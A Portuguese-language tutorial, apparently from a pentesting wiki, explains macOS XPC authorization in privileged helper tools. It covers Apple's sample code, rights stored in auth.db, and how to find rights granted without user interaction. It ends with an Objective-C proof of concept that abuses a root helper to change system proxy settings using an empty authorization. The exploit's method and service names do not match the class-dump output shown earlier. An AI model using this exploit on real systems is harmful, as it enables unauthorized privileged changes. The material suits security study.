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macOS XPC Authorization

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XPC Authorization

A Apple também propõe outra maneira de autenticar se o processo de conexão tem permissões para chamar um método XPC exposto.

Quando um aplicativo precisa executar ações como um usuário privilegiado, em vez de executar o aplicativo como um usuário privilegiado, geralmente instala como root um HelperTool como um serviço XPC que pode ser chamado pelo aplicativo para realizar essas ações. No entanto, o aplicativo que chama o serviço deve ter autorização suficiente.

ShouldAcceptNewConnection sempre YES

Um exemplo pode ser encontrado em EvenBetterAuthorizationSample. Em App/AppDelegate.m ele tenta conectar ao HelperTool. E em HelperTool/HelperTool.m a função shouldAcceptNewConnection não verificará nenhum dos requisitos indicados anteriormente. Ela sempre retornará YES:

- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection
// Called by our XPC listener when a new connection comes in.  We configure the connection
// with our protocol and ourselves as the main object.
{
assert(listener == self.listener);
#pragma unused(listener)
assert(newConnection != nil);

newConnection.exportedInterface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperToolProtocol)];
newConnection.exportedObject = self;
[newConnection resume];

return YES;
}

Para mais informações sobre como configurar corretamente esta verificação:

{% content-ref url="macos-xpc-connecting-process-check/" %} macos-xpc-connecting-process-check {% endcontent-ref %}

Direitos da aplicação

No entanto, há alguma autorização ocorrendo quando um método do HelperTool é chamado.

A função applicationDidFinishLaunching de App/AppDelegate.m criará uma referência de autorização vazia após o aplicativo ter iniciado. Isso deve sempre funcionar.
Em seguida, tentará adicionar alguns direitos a essa referência de autorização chamando setupAuthorizationRights:

- (void)applicationDidFinishLaunching:(NSNotification *)note
{
[...]
err = AuthorizationCreate(NULL, NULL, 0, &self->_authRef);
if (err == errAuthorizationSuccess) {
err = AuthorizationMakeExternalForm(self->_authRef, &extForm);
}
if (err == errAuthorizationSuccess) {
self.authorization = [[NSData alloc] initWithBytes:&extForm length:sizeof(extForm)];
}
assert(err == errAuthorizationSuccess);

// If we successfully connected to Authorization Services, add definitions for our default
// rights (unless they're already in the database).

if (self->_authRef) {
[Common setupAuthorizationRights:self->_authRef];
}

[self.window makeKeyAndOrderFront:self];
}

A função setupAuthorizationRights do arquivo Common/Common.m armazenará no banco de dados de autenticação /var/db/auth.db os direitos da aplicação. Note que ela só adicionará os direitos que ainda não estão no banco de dados:

+ (void)setupAuthorizationRights:(AuthorizationRef)authRef
// See comment in header.
{
assert(authRef != NULL);
[Common enumerateRightsUsingBlock:^(NSString * authRightName, id authRightDefault, NSString * authRightDesc) {
OSStatus    blockErr;

// First get the right.  If we get back errAuthorizationDenied that means there's
// no current definition, so we add our default one.

blockErr = AuthorizationRightGet([authRightName UTF8String], NULL);
if (blockErr == errAuthorizationDenied) {
blockErr = AuthorizationRightSet(
authRef,                                    // authRef
[authRightName UTF8String],                 // rightName
(__bridge CFTypeRef) authRightDefault,      // rightDefinition
(__bridge CFStringRef) authRightDesc,       // descriptionKey
NULL,                                       // bundle (NULL implies main bundle)
CFSTR("Common")                             // localeTableName
);
assert(blockErr == errAuthorizationSuccess);
} else {
// A right already exists (err == noErr) or any other error occurs, we
// assume that it has been set up in advance by the system administrator or
// this is the second time we've run.  Either way, there's nothing more for
// us to do.
}
}];
}

A função enumerateRightsUsingBlock é a que é usada para obter as permissões das aplicações, que são definidas em commandInfo:

static NSString * kCommandKeyAuthRightName    = @"authRightName";
static NSString * kCommandKeyAuthRightDefault = @"authRightDefault";
static NSString * kCommandKeyAuthRightDesc    = @"authRightDescription";

+ (NSDictionary *)commandInfo
{
static dispatch_once_t sOnceToken;
static NSDictionary *  sCommandInfo;

dispatch_once(&sOnceToken, ^{
sCommandInfo = @{
NSStringFromSelector(@selector(readLicenseKeyAuthorization:withReply:)) : @{
kCommandKeyAuthRightName    : @"com.example.apple-samplecode.EBAS.readLicenseKey",
kCommandKeyAuthRightDefault : @kAuthorizationRuleClassAllow,
kCommandKeyAuthRightDesc    : NSLocalizedString(
@"EBAS is trying to read its license key.",
@"prompt shown when user is required to authorize to read the license key"
)
},
NSStringFromSelector(@selector(writeLicenseKey:authorization:withReply:)) : @{
kCommandKeyAuthRightName    : @"com.example.apple-samplecode.EBAS.writeLicenseKey",
kCommandKeyAuthRightDefault : @kAuthorizationRuleAuthenticateAsAdmin,
kCommandKeyAuthRightDesc    : NSLocalizedString(
@"EBAS is trying to write its license key.",
@"prompt shown when user is required to authorize to write the license key"
)
},
NSStringFromSelector(@selector(bindToLowNumberPortAuthorization:withReply:)) : @{
kCommandKeyAuthRightName    : @"com.example.apple-samplecode.EBAS.startWebService",
kCommandKeyAuthRightDefault : @kAuthorizationRuleClassAllow,
kCommandKeyAuthRightDesc    : NSLocalizedString(
@"EBAS is trying to start its web service.",
@"prompt shown when user is required to authorize to start the web service"
)
}
};
});
return sCommandInfo;
}

+ (NSString *)authorizationRightForCommand:(SEL)command
// See comment in header.
{
return [self commandInfo][NSStringFromSelector(command)][kCommandKeyAuthRightName];
}

+ (void)enumerateRightsUsingBlock:(void (^)(NSString * authRightName, id authRightDefault, NSString * authRightDesc))block
// Calls the supplied block with information about each known authorization right..
{
[self.commandInfo enumerateKeysAndObjectsUsingBlock:^(id key, id obj, BOOL *stop) {
#pragma unused(key)
#pragma unused(stop)
NSDictionary *  commandDict;
NSString *      authRightName;
id              authRightDefault;
NSString *      authRightDesc;

// If any of the following asserts fire it's likely that you've got a bug
// in sCommandInfo.

commandDict = (NSDictionary *) obj;
assert([commandDict isKindOfClass:[NSDictionary class]]);

authRightName = [commandDict objectForKey:kCommandKeyAuthRightName];
assert([authRightName isKindOfClass:[NSString class]]);

authRightDefault = [commandDict objectForKey:kCommandKeyAuthRightDefault];
assert(authRightDefault != nil);

authRightDesc = [commandDict objectForKey:kCommandKeyAuthRightDesc];
assert([authRightDesc isKindOfClass:[NSString class]]);

block(authRightName, authRightDefault, authRightDesc);
}];
}

Isso significa que, ao final deste processo, as permissões declaradas dentro de commandInfo serão armazenadas em /var/db/auth.db. Note como lá você pode encontrar para cada método que irá exigir autenticação, nome da permissão e o kCommandKeyAuthRightDefault. Este último indica quem pode obter esse direito.

Existem diferentes escopos para indicar quem pode acessar um direito. Alguns deles estão definidos em AuthorizationDB.h (você pode encontrar todos eles aqui), mas como resumo:

Nome	Valor	Descrição
kAuthorizationRuleClassAllow	allow	Qualquer um
kAuthorizationRuleClassDeny	deny	Ninguém
kAuthorizationRuleIsAdmin	is-admin	O usuário atual precisa ser um admin (dentro do grupo de admin)
kAuthorizationRuleAuthenticateAsSessionUser	authenticate-session-owner	Pedir ao usuário para autenticar.
kAuthorizationRuleAuthenticateAsAdmin	authenticate-admin	Pedir ao usuário para autenticar. Ele precisa ser um admin (dentro do grupo de admin)
kAuthorizationRightRule	rule	Especificar regras
kAuthorizationComment	comment	Especificar alguns comentários extras sobre o direito

Verificação de Direitos

Em HelperTool/HelperTool.m, a função readLicenseKeyAuthorization verifica se o chamador está autorizado a executar tal método chamando a função checkAuthorization. Esta função verificará se o authData enviado pelo processo chamador tem um formato correto e então verificará o que é necessário para obter o direito de chamar o método específico. Se tudo correr bem, o error retornado será nil:

- (NSError *)checkAuthorization:(NSData *)authData command:(SEL)command
{
[...]

// First check that authData looks reasonable.

error = nil;
if ( (authData == nil) || ([authData length] != sizeof(AuthorizationExternalForm)) ) {
error = [NSError errorWithDomain:NSOSStatusErrorDomain code:paramErr userInfo:nil];
}

// Create an authorization ref from that the external form data contained within.

if (error == nil) {
err = AuthorizationCreateFromExternalForm([authData bytes], &authRef);

// Authorize the right associated with the command.

if (err == errAuthorizationSuccess) {
AuthorizationItem   oneRight = { NULL, 0, NULL, 0 };
AuthorizationRights rights   = { 1, &oneRight };

oneRight.name = [[Common authorizationRightForCommand:command] UTF8String];
assert(oneRight.name != NULL);

err = AuthorizationCopyRights(
authRef,
&rights,
NULL,
kAuthorizationFlagExtendRights | kAuthorizationFlagInteractionAllowed,
NULL
);
}
if (err != errAuthorizationSuccess) {
error = [NSError errorWithDomain:NSOSStatusErrorDomain code:err userInfo:nil];
}
}

if (authRef != NULL) {
junk = AuthorizationFree(authRef, 0);
assert(junk == errAuthorizationSuccess);
}

return error;
}

Note que para verificar os requisitos para obter o direito de chamar esse método, a função authorizationRightForCommand apenas verificará o objeto comentado anteriormente commandInfo. Em seguida, chamará AuthorizationCopyRights para verificar se possui os direitos de chamar a função (note que as flags permitem interação com o usuário).

Neste caso, para chamar a função readLicenseKeyAuthorization, o kCommandKeyAuthRightDefault é definido como @kAuthorizationRuleClassAllow. Assim, qualquer um pode chamá-la.

Informações do DB

Foi mencionado que essas informações são armazenadas em /var/db/auth.db. Você pode listar todas as regras armazenadas com:

sudo sqlite3 /var/db/auth.db
SELECT name FROM rules;
SELECT name FROM rules WHERE name LIKE '%safari%';

Então, você pode ler quem pode acessar o direito com:

security authorizationdb read com.apple.safaridriver.allow

Direitos permissivos

Você pode encontrar todas as configurações de permissões aqui, mas as combinações que não exigirão interação do usuário seriam:

1. 'authenticate-user': 'false'

• Esta é a chave mais direta. Se definida como false, especifica que um usuário não precisa fornecer autenticação para obter esse direito.
• Isso é usado em combinação com uma das 2 abaixo ou indicando um grupo ao qual o usuário deve pertencer.

2. 'allow-root': 'true'

• Se um usuário estiver operando como o usuário root (que possui permissões elevadas), e esta chave estiver definida como true, o usuário root poderia potencialmente obter esse direito sem mais autenticação. No entanto, tipicamente, alcançar o status de usuário root já requer autenticação, então este não é um cenário de "sem autenticação" para a maioria dos usuários.

3. 'session-owner': 'true'

• Se definida como true, o proprietário da sessão (o usuário atualmente logado) obteria automaticamente esse direito. Isso pode contornar a autenticação adicional se o usuário já estiver logado.

4. 'shared': 'true'

• Esta chave não concede direitos sem autenticação. Em vez disso, se definida como true, significa que uma vez que o direito tenha sido autenticado, ele pode ser compartilhado entre vários processos sem que cada um precise re-autenticar. Mas a concessão inicial do direito ainda exigiria autenticação, a menos que combinada com outras chaves como 'authenticate-user': 'false'.

Você pode usar este script para obter os direitos interessantes:

Rights with 'authenticate-user': 'false':
is-admin (admin), is-admin-nonshared (admin), is-appstore (_appstore), is-developer (_developer), is-lpadmin (_lpadmin), is-root (run as root), is-session-owner (session owner), is-webdeveloper (_webdeveloper), system-identity-write-self (session owner), system-install-iap-software (run as root), system-install-software-iap (run as root)

Rights with 'allow-root': 'true':
com-apple-aosnotification-findmymac-remove, com-apple-diskmanagement-reservekek, com-apple-openscripting-additions-send, com-apple-reportpanic-fixright, com-apple-servicemanagement-blesshelper, com-apple-xtype-fontmover-install, com-apple-xtype-fontmover-remove, com-apple-dt-instruments-process-analysis, com-apple-dt-instruments-process-kill, com-apple-pcastagentconfigd-wildcard, com-apple-trust-settings-admin, com-apple-wifivelocity, com-apple-wireless-diagnostics, is-root, system-install-iap-software, system-install-software, system-install-software-iap, system-preferences, system-preferences-accounts, system-preferences-datetime, system-preferences-energysaver, system-preferences-network, system-preferences-printing, system-preferences-security, system-preferences-sharing, system-preferences-softwareupdate, system-preferences-startupdisk, system-preferences-timemachine, system-print-operator, system-privilege-admin, system-services-networkextension-filtering, system-services-networkextension-vpn, system-services-systemconfiguration-network, system-sharepoints-wildcard

Rights with 'session-owner': 'true':
authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-session-user, com-apple-safari-allow-apple-events-to-run-javascript, com-apple-safari-allow-javascript-in-smart-search-field, com-apple-safari-allow-unsigned-app-extensions, com-apple-safari-install-ephemeral-extensions, com-apple-safari-show-credit-card-numbers, com-apple-safari-show-passwords, com-apple-icloud-passwordreset, com-apple-icloud-passwordreset, is-session-owner, system-identity-write-self, use-login-window-ui

Reversão de Autorização

Verificando se EvenBetterAuthorization está em uso

Se você encontrar a função: [HelperTool checkAuthorization:command:] é provável que o processo esteja usando o esquema de autorização mencionado anteriormente:

Isso, se essa função estiver chamando funções como AuthorizationCreateFromExternalForm, authorizationRightForCommand, AuthorizationCopyRights, AuhtorizationFree, está usando EvenBetterAuthorizationSample.

Verifique o /var/db/auth.db para ver se é possível obter permissões para chamar alguma ação privilegiada sem interação do usuário.

Comunicação de Protocolo

Em seguida, você precisa encontrar o esquema de protocolo para poder estabelecer uma comunicação com o serviço XPC.

A função shouldAcceptNewConnection indica o protocolo que está sendo exportado:

Neste caso, temos o mesmo que no EvenBetterAuthorizationSample, verifique esta linha.

Sabendo o nome do protocolo utilizado, é possível extrair sua definição de cabeçalho com:

class-dump /Library/PrivilegedHelperTools/com.example.HelperTool

[...]
@protocol HelperToolProtocol
- (void)overrideProxySystemWithAuthorization:(NSData *)arg1 setting:(NSDictionary *)arg2 reply:(void (^)(NSError *))arg3;
- (void)revertProxySystemWithAuthorization:(NSData *)arg1 restore:(BOOL)arg2 reply:(void (^)(NSError *))arg3;
- (void)legacySetProxySystemPreferencesWithAuthorization:(NSData *)arg1 enabled:(BOOL)arg2 host:(NSString *)arg3 port:(NSString *)arg4 reply:(void (^)(NSError *, BOOL))arg5;
- (void)getVersionWithReply:(void (^)(NSString *))arg1;
- (void)connectWithEndpointReply:(void (^)(NSXPCListenerEndpoint *))arg1;
@end
[...]

Por fim, precisamos apenas saber o nome do Serviço Mach exposto para estabelecer uma comunicação com ele. Existem várias maneiras de encontrar isso:

• No [HelperTool init] onde você pode ver o Serviço Mach sendo usado:

• No plist do launchd:

cat /Library/LaunchDaemons/com.example.HelperTool.plist

[...]

<key>MachServices</key>
<dict>
<key>com.example.HelperTool</key>
<true/>
</dict>
[...]

Exemplo de Exploit

Neste exemplo é criado:

• A definição do protocolo com as funções
• Um auth vazio para usar para solicitar acesso
• Uma conexão ao serviço XPC
• Uma chamada à função se a conexão for bem-sucedida

// gcc -framework Foundation -framework Security expl.m -o expl

#import <Foundation/Foundation.h>
#import <Security/Security.h>

// Define a unique service name for the XPC helper
static NSString* XPCServiceName = @"com.example.XPCHelper";

// Define the protocol for the helper tool
@protocol XPCHelperProtocol
- (void)applyProxyConfigWithAuthorization:(NSData *)authData settings:(NSDictionary *)settings reply:(void (^)(NSError *))callback;
- (void)resetProxyConfigWithAuthorization:(NSData *)authData restoreDefault:(BOOL)shouldRestore reply:(void (^)(NSError *))callback;
- (void)legacyConfigureProxyWithAuthorization:(NSData *)authData enabled:(BOOL)isEnabled host:(NSString *)hostAddress port:(NSString *)portNumber reply:(void (^)(NSError *, BOOL))callback;
- (void)fetchVersionWithReply:(void (^)(NSString *))callback;
- (void)establishConnectionWithReply:(void (^)(NSXPCListenerEndpoint *))callback;
@end

int main(void) {
NSData *authData;
OSStatus status;
AuthorizationExternalForm authForm;
AuthorizationRef authReference = {0};
NSString *proxyAddress = @"127.0.0.1";
NSString *proxyPort = @"4444";
Boolean isProxyEnabled = true;

// Create an empty authorization reference
status = AuthorizationCreate(NULL, kAuthorizationEmptyEnvironment, kAuthorizationFlagDefaults, &authReference);
const char* errorMsg = CFStringGetCStringPtr(SecCopyErrorMessageString(status, nil), kCFStringEncodingMacRoman);
NSLog(@"OSStatus: %s", errorMsg);

// Convert the authorization reference to an external form
if (status == errAuthorizationSuccess) {
status = AuthorizationMakeExternalForm(authReference, &authForm);
errorMsg = CFStringGetCStringPtr(SecCopyErrorMessageString(status, nil), kCFStringEncodingMacRoman);
NSLog(@"OSStatus: %s", errorMsg);
}

// Convert the external form to NSData for transmission
if (status == errAuthorizationSuccess) {
authData = [[NSData alloc] initWithBytes:&authForm length:sizeof(authForm)];
errorMsg = CFStringGetCStringPtr(SecCopyErrorMessageString(status, nil), kCFStringEncodingMacRoman);
NSLog(@"OSStatus: %s", errorMsg);
}

// Ensure the authorization was successful
assert(status == errAuthorizationSuccess);

// Establish an XPC connection
NSString *serviceName = XPCServiceName;
NSXPCConnection *xpcConnection = [[NSXPCConnection alloc] initWithMachServiceName:serviceName options:0x1000];
NSXPCInterface *xpcInterface = [NSXPCInterface interfaceWithProtocol:@protocol(XPCHelperProtocol)];
[xpcConnection setRemoteObjectInterface:xpcInterface];
[xpcConnection resume];

// Handle errors for the XPC connection
id remoteProxy = [xpcConnection remoteObjectProxyWithErrorHandler:^(NSError *error) {
NSLog(@"[-] Connection error");
NSLog(@"[-] Error: %@", error);
}];

// Log the remote proxy and connection objects
NSLog(@"Remote Proxy: %@", remoteProxy);
NSLog(@"XPC Connection: %@", xpcConnection);

// Use the legacy method to configure the proxy
[remoteProxy legacyConfigureProxyWithAuthorization:authData enabled:isProxyEnabled host:proxyAddress port:proxyPort reply:^(NSError *error, BOOL success) {
NSLog(@"Response: %@", error);
}];

// Allow some time for the operation to complete
[NSThread sleepForTimeInterval:10.0f];

NSLog(@"Finished!");
}

Outros auxiliares de privilégio XPC abusados

• https://blog.securelayer7.net/applied-endpointsecurity-framework-previlege-escalation/?utm_source=pocket_shared

Referências

• https://theevilbit.github.io/posts/secure_coding_xpc_part1/

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